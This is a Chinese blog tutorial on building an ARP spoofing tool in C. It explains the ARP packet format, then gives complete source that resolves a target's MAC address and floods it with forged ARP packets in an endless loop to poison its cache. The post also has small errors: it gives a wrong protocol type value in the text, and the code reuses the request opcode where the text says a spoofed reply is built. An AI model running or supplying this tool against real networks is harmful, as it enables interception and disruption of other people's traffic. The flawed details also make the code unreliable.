C语言实现简单ARP欺骗小工具

在WireShark协议分析的学习过程学习了ARP协议的数据包格式,所以准备自制一个小小的ARP欺骗工具。在制作该工具前需要掌握如下知识:
  
##一、ARP协议内容

ARP(Address Resolution Protocol)协议的基本功能是通过IP地址找到对应的硬件地址,ARP协议的工作过程是(假设A主机(IP:192.168.1.110、MAC:0A:11:22:33:44:01)要和B主机(IP:192.168.1.120、MAC:0A:11:22:33:44:02)进行通信):

1、A主机在自己的ARP缓存中查找是否有B主机的ARP缓存。
  2、如果主机A在ARP缓存中没有找到映射,它将询问192.168.1.120的硬件地址,从而将ARP请求帧广播到本地网络上的所有主机。源主机A的IP地址和MAC地址都包括在ARP请求中。本地网络上的每台主机都接收到ARP请求并且检查是否与自己的IP地址匹配。如果主机发现请求的IP地址与自己的IP地址不匹配,它将丢弃ARP请求。
  3、主机B确定ARP请求中的IP地址与自己的IP地址匹配,则将主机A的IP地址和MAC地址映射添加到本地ARP缓存中。
  4、主机B将包含其MAC地址的ARP回复消息直接发送回主机A。
  5、当主机A收到从主机B发来的ARP回复消息时,会用主机B的IP和MAC地址映射更新ARP缓存。本机缓存是有生存期的,生存期结束后,将再次重复上面的过程。主机B的MAC地址一旦确定,主机A就能向主机B发送IP通信了。

ARP协议的内容如下:
  
以太网传输层

  • 目标以太网地址:目标MAC地址。ff:ff:ff:ff:ff:ff 为广播地址。
  • 源以太网地址:发送方MAC地址。
  • 帧类型:以太类型,ARP为0x0806。

以太网报文数据

  • 硬件地址类型:如以太网(0x0001)、分组无线网。
  • 协议地址类型:如网际协议(0x8000)、IPv6(0x86DD)。
  • 硬件地址长度:每种硬件地址的字节长度,一般为6。
  • 协议地址长度:每种协议地址的字节长度,一般为4。
  • 操作码:1为请求,2为回显。
  • 源硬件地址:n个字节,n由硬件地址长度得到,一般为发送方MAC地址。
  • 源协议地址:m个字节,m由协议地址长度得到,一般为发送方IP地址。
  • 目标硬件地址:n个字节,n由硬件地址长度得到,一般为目标MAC地址。

如下图:
ARP协议报文格式图

##二、获取本机硬件地址

在Linux下获取本机的MAC地址可以使用ioctl函数实现,该函数的声明如下:

#include <sys/ioctl.h>
int ioctl(int d, int request, …);

利用该函数可以获取到一些硬件信息,具体取决于request和其后的变参列表的组合,这里我们使用SIOCGIFHWADDR和struct ifreq该结构体的组合来获取本机的MAC地址。使用方法如下:

ioctl(sock_fd, SIOCGIFHWADDR, &ethinfo);

sock_fd是我们实现打开的一个文件描述符,ethinfo是一个struct ifreq类型的变量,函数调用成功之后会将MAC地址存入数组ethinfo.ifr_hwaddr.sa_data中。

##三、通过socket直接操作数据链路层数据

Linux下直接通过socket操作数据链路层数据可以 socket创建文件描述符的时候传入SOCK_PACKET参数选项,然后通过sendto和recvfrom系统调用分别向绑定的网卡上发送和接收数据。具体使用见程序。

##四、程序实现过程

程序运行时需要指定三个命令行参数,分别是所使用的网卡设备、所要欺骗的目标IP,伪装的IP,如:./my_arpspoof eht0 192.168.1.1 192.168.1.109 表示告诉192.168.1.1我是192.168.1.109。

1、获取本机MAC地址,构建ARP请求包,向所要欺骗的目标IP发送ARP请求包用来获取其MAC地址。
  2、构建ARP回应包,填入伪装IP和自己的MAC地址发送给上一步获取的MAC地址。
  3、不断循环发送第二步构建的ARP数据包,使得对方主机处于持续接收我虚假ARP回应包的状态。

##五、代码实现

/*************************************************************************
	> File Name: my_arpspoof.c
	> Author: Jung
	> Mail: jungzhang@xiyoulinux.org
	> Created Time: 2016年08月02日 星期二 08时02分14秒
	> Description:
 ************************************************************************/
#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <net/ethernet.h>
#include <unistd.h>

//获取本机MAC地址,存入mac数组中,要求传入网卡名字
int getMacAddr(unsigned char mac[], const char name[])
{
    struct ifreq ethinfo;
    int sock_fd;

    if (name == NULL || mac == NULL) {
        return -1;
    }

    if ((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
        perror("Open Socket");
        return -1;
    }

    strcpy(ethinfo.ifr_name, name);

    if (ioctl(sock_fd, SIOCGIFHWADDR, &ethinfo) < 0) {
        perror("Ioctl");
        return -1;
    }
    
    for (int i = 0; i < 6; ++i) {
        mac[i] = (unsigned char)ethinfo.ifr_hwaddr.sa_data[i];
    }

    close(sock_fd);

    return 1;
}

//构建ARP数据包
void packarp(char *mymac, char *tarmac, int *tarip, int *myip, char *opcode, char *arppack)
{
    char eth_type[2] = {0x00,0x01};   //硬件类型,以太网为1
    char por_type[2] = {0x08,0x00};     //ARP正在使用的上层协议类型,这里是IP协议
    char type[2] = {0x08, 0x06};        //帧类型,0x0806表示ARP
    char eth_length = 6;        //硬件地址长度
    char por_length = 4;        //协议地址长度,这里指IP协议

    memset(arppack, 0, 42);                 //清空发送缓存区
    memcpy(arppack, tarmac, 6);             //6个字节表示目标主机的mac地址
    memcpy(arppack + 6, mymac, 6);          //6个字节表示源主机的mac地址
    memcpy(arppack + 12, type, 2);         //帧类型,这里表示ARP
    memcpy(arppack + 14, eth_type, 2);    //硬件地址,这里表示以太网
    memcpy(arppack + 16, por_type, 2);      //ARP正在使用的上层协议
    memcpy(arppack + 18, &eth_length, 1);   //硬件地址长度
    memcpy(arppack + 19, &por_length, 1);   //协议地址长度
    memcpy(arppack + 20, opcode, 2);        //标记是ARP还是ARP应答
    memcpy(arppack + 22, mymac, 6);          //发送者MAC地址
    memcpy(arppack + 28, myip, 4);          //发送者IP
    if (!(opcode[0] == 0x00 && opcode[1] == 0x01)) {
        memcpy(arppack + 32, tarmac, 6);        //目标MAC地址
    }
    memcpy(arppack + 38, tarip, 4);         //目标IP地址
}

int main(int argc, char *argv[])
{
    char mymac[6] = {0};
    char tarmac[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
    char recvarp[42] = {0};
    char sendarp[42] = {0};
    int tarip;
    int myip;
    char opcode[2];
    int sock_fd;
    struct sockaddr addr;

    if (argc < 4) {
        return EXIT_FAILURE;
    }

    //获取本机MAC地址
    if (getMacAddr(mymac, argv[1]) < 0) {
        printf("获取MAC地址失败\n");
        return EXIT_FAILURE;
    }

    myip = inet_addr(argv[3]);
    tarip = inet_addr(argv[2]);
    opcode[0] = 0x00;
    opcode[1] = 0x01;

    packarp(mymac, tarmac, &tarip, &myip, opcode, sendarp);

    if ((sock_fd = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ARP))) < 0) {
        perror("Open Socket");
        return EXIT_FAILURE;
    }

    memset(&addr, 0, sizeof(addr));
    strncpy(addr.sa_data, argv[1], sizeof(addr.sa_data));
    socklen_t len = sizeof(addr);


    while(1) {
        if (sendto(sock_fd, sendarp, 42, 0, &addr, len) == 42) {
            printf("发送ARP包成功\n");
        } else {
            perror("sendto");
            return EXIT_FAILURE;
        }
        
        if (recvfrom(sock_fd, recvarp, 42, 0, &addr, &len) == 42) {
            if (!memcmp((void *)recvarp + 28, (void *)sendarp + 38, 4)) {
                memcpy(tarmac, recvarp + 22, 6);
                printf("获取MAC地址成功\n");
                break;
            }
        }
        
        sleep(1);
    }

    opcode[0] = 0x00;
    opcode[1] = 0x01;
    packarp(mymac, tarmac, &tarip, &myip, opcode, sendarp);

    while(1) {
        if (sendto(sock_fd, sendarp, 42, 0, &addr, len) == 42) {
            printf("发送ARP欺骗包成功\n");
        } else {
            perror("sendto");
            return EXIT_FAILURE;
        }
        sleep(1);
    }

    close(sock_fd);
    
    return EXIT_SUCCESS;
}

至此,一个简单的ARP欺骗工具就制作完成了(仅供交流学习使用)。

  • 13
    点赞
  • 66
    收藏
    觉得还不错? 一键收藏
  • 7
    评论
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值